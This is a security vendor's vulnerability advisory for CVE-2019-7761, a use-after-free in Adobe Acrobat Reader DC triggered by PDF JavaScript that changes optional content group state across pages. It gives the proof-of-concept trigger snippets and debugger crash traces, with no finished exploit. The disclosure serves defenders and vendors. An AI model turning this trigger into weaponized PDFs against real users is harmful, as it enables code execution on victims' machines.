Talos Vulnerability Report

TALOS-2019-0778

Adobe Acrobat Reader DC OCGs state change remote code execution vulnerability

May 14, 2019
CVE Number

CVE-2019-7761

Summary

A specific JavaScript code embedded in a PDF file can lead to a heap corruption when opening a PDF document in Adobe Acrobat Reader DC, version 2019.10.20069. This can lead to arbitrary code execution with careful memory manipulation. The victim would need to open the malicious file or access a malicious web page to trigger this vulnerability.

Tested Versions

Adobe Acrobat Reader DC 2019.010.20069

Product URLs

https://get.adobe.com/reader/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Adobe Acrobat Reader is the most popular and feature-rich PDF reader. It has a large user base and is usually a default PDF reader on systems. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability.

Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and creates an additional attack surface.

A vulnerability exists in the way pages with interactive fields and optional content groups (OCGs) are handled. To trigger this specific vulnerability, a multi-page document is needed. The document open action in the supplied PoC does:

app.activeDocs[0].getField('txt').value = "EAEAEAEA";
this.pageNum = 1;

The above code will set the value of a text field and jump to second page. The open action of the second page executes the following code:

app.activeDocs[0].selectPageNthWord(0);  

The line shown above selects the text on the first page and effectively switches focus to it, causing the second page close action to be executed:

this.getOCGs()[0].state = false;

Changing the state of one of the OCG layers causes an object to be freed before switching back to the first page where freed memory is reused, leading to memory corruption. With PageHeap enabled, we can observe the following crash (making sure to follow spawned child processes):

0:000> .childdbg  1
Processes created by the current process will be debugged
0:000> g
(11ac.1b90): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=012fdfcc ebx=00000000 ecx=1d0dcfdc edx=05d40000 esi=1d0dcfc8 edi=1d0dcfdc
eip=6aa9128e esp=012fde28 ebp=012fde28 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
AcroRd32!AX_PDXlateToHostEx+0x303635:
6aa9128e 8b01            mov     eax,dword ptr [ecx]  ds:002b:1d0dcfdc=????????
1:009> k 5
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 012fde28 6a975f41 AcroRd32!AX_PDXlateToHostEx+0x303635
01 012fdefc 6a976a14 AcroRd32!AX_PDXlateToHostEx+0x1e82e8
02 012fdf10 69536435 AcroRd32!AX_PDXlateToHostEx+0x1e8dbb
03 012fe258 694f1c99 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x2f9f1
04 012fe2d0 694d6d06 EScript!mozilla::HashBytes+0x4249c

With PageHeap disabled, if we carefully place the breakpoint on the above instruction, and by breaking JavaScript execution before and after changing the state of OCG, we can actually observe freed memory being reused.

0:000> .childdbg  1
Processes created by the current process will be debugged
0:000> bp AcroRd32!AX_PDXlateToHostEx+0x303635
0:000> g
Breakpoint 15 hit
eax=00bedb58 ebx=00000000 ecx=07db0084 edx=00000001 esi=07db0070 edi=07db0084
eip=6c95128e esp=00bed9c8 ebp=00bed9c8 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
AcroRd32!AX_PDXlateToHostEx+0x303635:
6c95128e 8b01            mov     eax,dword ptr [ecx]  ds:002b:07db0084=7ffffffe
*** WARNING: Unable to verify checksum for c:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for c:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api - 
1:009> dd ecx
07db0084  7ffffffe 80000001 80000001 7ffffffe
07db0094  00000000 00000000 00000003 00000000
07db00a4  00000000 bc8d8ea3 80000200 00000405
07db00b4  00000531 000005df 00000b5a 00000cfa
07db00c4  00000cfb 00000e9b 00001d81 00002cd1
07db00d4  00002e7b 00003153 000032b4 00003503
07db00e4  00000000 bc858eab 8c000300 0000021e
07db00f4  0000073f 000007bd 0000084e 00000dd6
1:009> !heap -p -a ecx
    address 07db0084 found in
    _HEAP @ 11d0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        07db0068 0008 0000  [00]   07db0070    00034 - (busy)

Breakpoint is hit for the first time after selecting the word on the first page (in open action of second page). We can see that data pointed to by ecx is allocated. Continuing the execution after the OCG state change allows us to examine the same memory again:

1:009> g
ModLoad: 684e0000 6854f000   c:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\PDDom.api
(2090.fdc): Break instruction exception - code 80000003 (first chance)
eax=00c36000 ebx=00000000 ecx=77284640 edx=77284640 esi=77284640 edi=77284640
eip=7724c560 esp=048af8f8 ebp=048af924 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!DbgBreakPoint:
7724c560 cc              int     3
1:009> dd 07db0070    
07db0070  6d5a410c 07db0080 07db009a 00000001
07db0080  2f242424 746e6f43 736c6f72 69727453
07db0090  2f73676e 6568744f 00000072 00000000
07db00a0  00000000 00000000 bc8d8ea3 80000200
07db00b0  6d5a410c 07db00c0 07db00da 00000001
07db00c0  2f242424 746e6f43 736c6f72 69727453
07db00d0  2f73676e 6568744f 00000072 00000000
07db00e0  00000000 00000000 bc858eab 8c000300
1:009> !heap -p -a 07db0070    
    address 07db0070 found in
    _HEAP @ 11d0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        07db0068 0008 0000  [00]   07db0070    00038 - (free)

Continuing execution hits the breakpoint again with the same pointer in ecx, but now pointing to freed memory. This results in the following crash (this time without page heap):

(2630.508): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00003427 ebx=00000000 ecx=07db0084 edx=011d0000 esi=00000d37 edi=00000000
eip=6c530bf1 esp=00bedb14 ebp=00bedb20 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
AcroRd32!CTJPEGDecoderRelease+0x26ca1:
6c530bf1 8bbed4010000    mov     edi,dword ptr [esi+1D4h] ds:002b:00000f0b=????????
1:009> k 10
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 00bedb20 6c81d62d AcroRd32!CTJPEGDecoderRelease+0x26ca1
01 00bedb34 6c835f88 AcroRd32!AX_PDXlateToHostEx+0x1cf9d4
02 00bedc0c 6c836a14 AcroRd32!AX_PDXlateToHostEx+0x1e832f
03 00bedc20 695c6435 AcroRd32!AX_PDXlateToHostEx+0x1e8dbb
04 00bedf68 69581c99 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x2f9f1
05 00bedfe0 69566d06 EScript!mozilla::HashBytes+0x4249c
06 00bee054 6956175d EScript!mozilla::HashBytes+0x27509
07 00bee510 69560606 EScript!mozilla::HashBytes+0x21f60
08 00bee550 69560517 EScript!mozilla::HashBytes+0x20e09
09 00bee58c 69560460 EScript!mozilla::HashBytes+0x20d1a
0a 00bee5bc 69548ec3 EScript!mozilla::HashBytes+0x20c63
0b 00bee604 6958835f EScript!mozilla::HashBytes+0x96c6
0c 00bee680 6958809f EScript!mozilla::HashBytes+0x48b62
0d 00bee834 69587d1b EScript!mozilla::HashBytes+0x488a2
0e 00bee880 69586cea EScript!mozilla::HashBytes+0x4851e
0f 00bee918 695f813f EScript!mozilla::HashBytes+0x474ed

By precisely controlling memory allocations and content after the object is freed, but before it was reused (by executing additional JavaScript code in the second page close action), this could result in further memory corruption and ultimately lead to arbitrary code execution.

Timeline

2019-02-11 - Vendor Disclosure
2019-05-14 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.